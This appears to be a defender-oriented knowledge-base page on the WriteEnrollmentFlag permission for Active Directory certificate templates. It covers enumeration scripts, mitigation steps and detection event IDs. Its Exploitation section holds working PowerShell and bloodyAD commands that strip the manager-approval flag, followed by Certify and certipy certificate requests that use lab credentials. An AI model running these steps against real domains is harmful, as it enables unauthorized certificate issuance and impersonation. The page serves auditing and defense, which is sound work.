WriteCertificateEnrollment
Summary
FSProtect ACL Alias
WriteEnrollmentFlag
AD Alias
Write msPKI-Enrollment-Flag
Affected Object Types
Certificate Templates
Exploitation Certainty
Certain
AD Attribute
msPKI-Enrollment-Flag
AD Attribute Guid
d15ef7d8-f226-46db-ae79-b34e560bd12c
AD Right
WriteProperty
Description
The WriteEnrollmentFlag
permission in Active Directory allows an account to modify the msPKI-Enrollment-Flag
attribute on certificate templates, which controls various enrollment behaviors and security features. When properly configured, this permission enables administrators to manage certificate enrollment options, such as requiring manager approval, enabling auto-enrollment, or setting specific authentication requirements. These configurations are crucial for maintaining the security and integrity of the Public Key Infrastructure (PKI) within an organization.
However, if misconfigured, the WriteEnrollmentFlag
permission can introduce significant security vulnerabilities. An attacker with this permission could modify certificate template enrollment flags to bypass security controls, such as disabling manager approval requirements or enabling user-supplied subject information. These modifications could allow unauthorized certificate issuance, potentially leading to identity spoofing, authentication bypass, or man-in-the-middle attacks. By manipulating these flags, an attacker could undermine the trust model of the entire PKI, compromising encrypted communications and digital signatures throughout the organization.
Identification
PowerShell
Active Directory Module
Using the ActiveDirectory PowerShell module, you can enumerate WriteEnrollmentFlag
entries.
1. Find-WriteEnrollmentFlag function
function Find-WriteEnrollmentFlag {
[CmdletBinding()]
param([string]$OutputPath = "WriteEnrollmentFlag.csv", [string]$Target = $null )
$SearchBase = (Get-ADRootDSE).ConfigurationNamingContext
$act = [System.Security.AccessControl.AccessControlType]::Allow
$adr = [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty
$guid = 'd15ef7d8-f226-46db-ae79-b34e560bd12c'
$ldapFilter = '(objectClass=pKICertificateTemplate)'
if ($Target) { $ldapFilter = "(&(objectClass=pKICertificateTemplate)(cn=$Target))"}
$rows = Get-ADObject -LDAPFilter $ldapFilter -SearchBase $SearchBase |
ForEach-Object {
$dn = $_.DistinguishedName
$name = $_.Name;
(Get-Acl "AD:$dn").Access | Where-Object { $_.AccessControlType -eq $act -and($_.ActiveDirectoryRights -band $adr) -and $_.ObjectType -eq $guid -and -not $_.IsInherited } | Select-Object `
@{n='TemplateName';e={ $name}}, # add readable name
@{n='InternalThreat';e={$_.IdentityReference}}}
if ($OutputPath) {$rows | Export-Csv -Path $OutputPath -NoTypeInformation} else {$rows }
}
2. Scan all domain certificate templates
Find-WriteEnrollmentFlag
3. Scan a specific template
Find-WriteEnrollmentFlag -Target GMUsers
.NET Directory Services
By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate WriteEnrollmentFlag
entries without relying on any external modules or dependencies.
1. Find-WriteEnrollmentFlagSimple function
function Find-WriteEnrollmentFlagSimple {
[CmdletBinding()]
param([string]$Target=$null,[string]$OutputPath="WriteEnrollmentFlag.csv")
$Allow=[System.Security.AccessControl.AccessControlType]::Allow
$WR=[System.DirectoryServices.ActiveDirectoryRights]::WriteProperty
$Attr=[Guid]'d15ef7d8-f226-46db-ae79-b34e560bd12c'
$rows=[System.Collections.Generic.List[object]]::new()
if($Target){ try{$entries=@([System.DirectoryServices.DirectoryEntry]("LDAP://$Target"))}catch{Write-Error "Bind fail: $_";return}}else{
try{
$cfg=([ADSI]"LDAP://RootDSE").configurationNamingContext
$root=[System.DirectoryServices.DirectoryEntry]("LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,$cfg")
$ds=[System.DirectoryServices.DirectorySearcher]::new($root);$ds.Filter="(objectClass=pKICertificateTemplate)";$ds.PageSize=1000
[void]$ds.PropertiesToLoad.Add("distinguishedName");[void]$ds.PropertiesToLoad.Add("name")
$entries=@($ds.FindAll()|ForEach-Object{try{$_.GetDirectoryEntry()}catch{}})
}catch{Write-Error "LDAP enumeration failed: $_";return}
}
foreach($e in $entries){try{
$dn=$e.distinguishedName; $name=$e.Properties["name"].Value; if(-not $name){$name=(($dn -split ',',2)[0]-replace '^CN=')}
$e.ObjectSecurity.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier]) |
Where-Object{ $_.AccessControlType -eq $Allow -and ($_.ActiveDirectoryRights -band $WR) -and $_.ObjectType -eq $Attr -and -not $_.IsInherited } |
ForEach-Object{
$who=try{$_.IdentityReference.Translate([System.Security.Principal.NTAccount]).Value}catch{$_.IdentityReference.Value}
$rows.Add([pscustomobject]@{TemplateName=$name;InternalThreat=$who})|Out-Null}}catch{}}
if($OutputPath){$rows|Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8}else{$rows}
}
2. Scan all the domain templates
Find-WriteEnrollmentFlagSimple
3. Scan a specific template
Find-WriteEnrollmentFlagSimple -Target "CN=GMUsers,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=Forestall,DC=labs"
Active Directory Services Interface
1. Open Active Directory Services Interface (ADSI edit)
.
2. Right‑click ADSI Edit and select Connect to...
from the context menu.
3. Select Configuration
in Select a well known Naming Context
, then click OK.
4. Navigate to Configuration > Services > Public Key Services > Certificate Templates
.
5. In the Certificate Templates list, double-click Certificate Template.
6. In the Properties window, navigate to the Security tab.
7. Click on the Advanced button to open the Advanced Security Settings dialog.
8. In the Advanced Security Settings window, locate and select the relevant Access Control Entry (ACE) for the user or group you wish to configure.
9. Click Edit to modify the selected ACE.
10. In the permissions list, locate and check the option Write msPKI-Enrollment-Flag
.
11. Click OK to save your changes and close the dialogs.

Exploitation
When manager approval is required for a certificate template, your certificate request must first be approved by the designated manager before the certificate can be issued.
The following examples demonstrate exploitation on Windows and Linux environments.

Disabling Manager Approval on a Certificate Template using powershell
powershell
$TemplateName = 'USER_TEMP'
try {
$root = [ADSI]"LDAP://RootDSE"
$base = "LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,$($root.configurationNamingContext)"
$ds = New-Object DirectoryServices.DirectorySearcher([ADSI]$base,
"(&(objectClass=pKICertificateTemplate)(|(cn=$TemplateName)(displayName=$TemplateName)))")
if ($r = $ds.FindOne()) {
$t = $r.GetDirectoryEntry()
$f = $t.Properties["msPKI-Enrollment-Flag"].Value
if (($f -band 0x2) -eq 0x2) { $t.Properties["msPKI-Enrollment-Flag"].Value = $f -band -bnot 0x2; $t.CommitChanges() }
}
} catch { Write-Error $_ }
Example:
$TemplateName = 'GMUsers'
try {
$root = [ADSI]"LDAP://RootDSE"
$base = "LDAP://CN=Certificate Templates,CN=Public Key Services,CN=Services,$($root.configurationNamingContext)"
$ds = New-Object DirectoryServices.DirectorySearcher([ADSI]$base,
"(&(objectClass=pKICertificateTemplate)(|(cn=$TemplateName)(displayName=$TemplateName)))")
if ($r = $ds.FindOne()) {
$t = $r.GetDirectoryEntry()
$f = $t.Properties["msPKI-Enrollment-Flag"].Value
if (($f -band 0x2) -eq 0x2) { $t.Properties["msPKI-Enrollment-Flag"].Value = $f -band -bnot 0x2; $t.CommitChanges() }
}
} catch { Write-Error $_ }

Request a Certificate After Manager Approval Is Disabled
.\Certify.exe request /ca:"<host>\<caName>" /template:"<templateName>"
Example:
.\Certify.exe request /ca:"DC.Forestall.labs\Forestall-ROOT-CA" /template:GMUsers

Linux
When manager approval is required for a certificate template, your certificate request must first be approved by the designated manager before the certificate can be issued.

Disabling Manager Approval on a Certificate Template using Certipy
Certipy
Retrieve the current value of the msPKI-Enrollment-Flag attribute
bloodyAD --host <host> -d <domain> -u <user> -p <pass> get object '<templatedn>' --attr msPKI-Enrollment-Flag
Compute the new msPKI-Enrollment-Flag setting
python -c "print(11 & ~0x2)"
Disable the Manager Approval Requirement
bloodyAD --host <host> -d <domain> -u <user> -p <pass> set object '<templatedn>' msPKI-Enrollment-Flag -v 9
Example:
bloodyAD --host dc.forestall.labs -d forestall.labs -u adam -p 'Temp123!' get object 'CN=GMUsers,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=Forestall,DC=labs' --attr msPKI-Enrollment-Flag
python -c "print(11 & ~0x2)"
bloodyAD --host dc.forestall.labs -d forestall.labs -u adam -p 'Temp123!' set object 'CN=GMUsers,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=Forestall,DC=labs' msPKI-Enrollment-Flag -v 9

Request a Certificate After Manager Approval Is Disabled
certipy-ad req -u <user>@<domain> -p '<pass>' -ca '<ca>' -template <templatename> -target <dcip>
Example:
certipy-ad req -u [email protected] -p 'Temp123!' -ca 'Forestall-Root-CA' -template GMUsers -target 192.168.100.128

Mitigation
1. Open Active Directory Services Interface (ADSI edit)
.
2. Right-click to ADSI Edit and select Connect to...
from the context menu.
3. Select Configuration
on Select a well known Naming Context
and click OK.
4. Navigate to Configuration > Services > Public Key Services > Certificate Templates
.
5. In the Certificate Templates list, double-click the Certificate Template.
6. In the Properties window, navigate to the Security tab.
7. Click the Advanced button to open the Advanced Security Settings dialog.
8. In the Advanced Security Settings window, locate and select the relevant Access Control Entry (ACE) for the user or group you wish to configure.
9. Click Edit to modify the selected ACE.
10. In the permissions list, locate and remove the option Write msPKI-Enrollment-Flag
.
11. Click OK to save your changes and close the dialogs.

Detection
Adding new Access Control Entries on the Active Directory objects changes the ntSecurityDescriptor
attribute of the objects themselves. These changes can be detected with the 5136 and 4662 Event IDs to identify dangerous modifications.
5136
A directory service object was modified.
ntSecurityDescriptor
https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136
4662
An operation was performed on an object.
AccessList, AccessMask
https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662
4886
Certificate Services received a certificate request.
CertificateTemplate, Requester
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn319076(v=ws.11)
4887
Certificate Services approved a certificate request and issued a certificate.
CertificateTemplate, Requester
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn319076(v=ws.11)
References
Last updated
Was this helpful?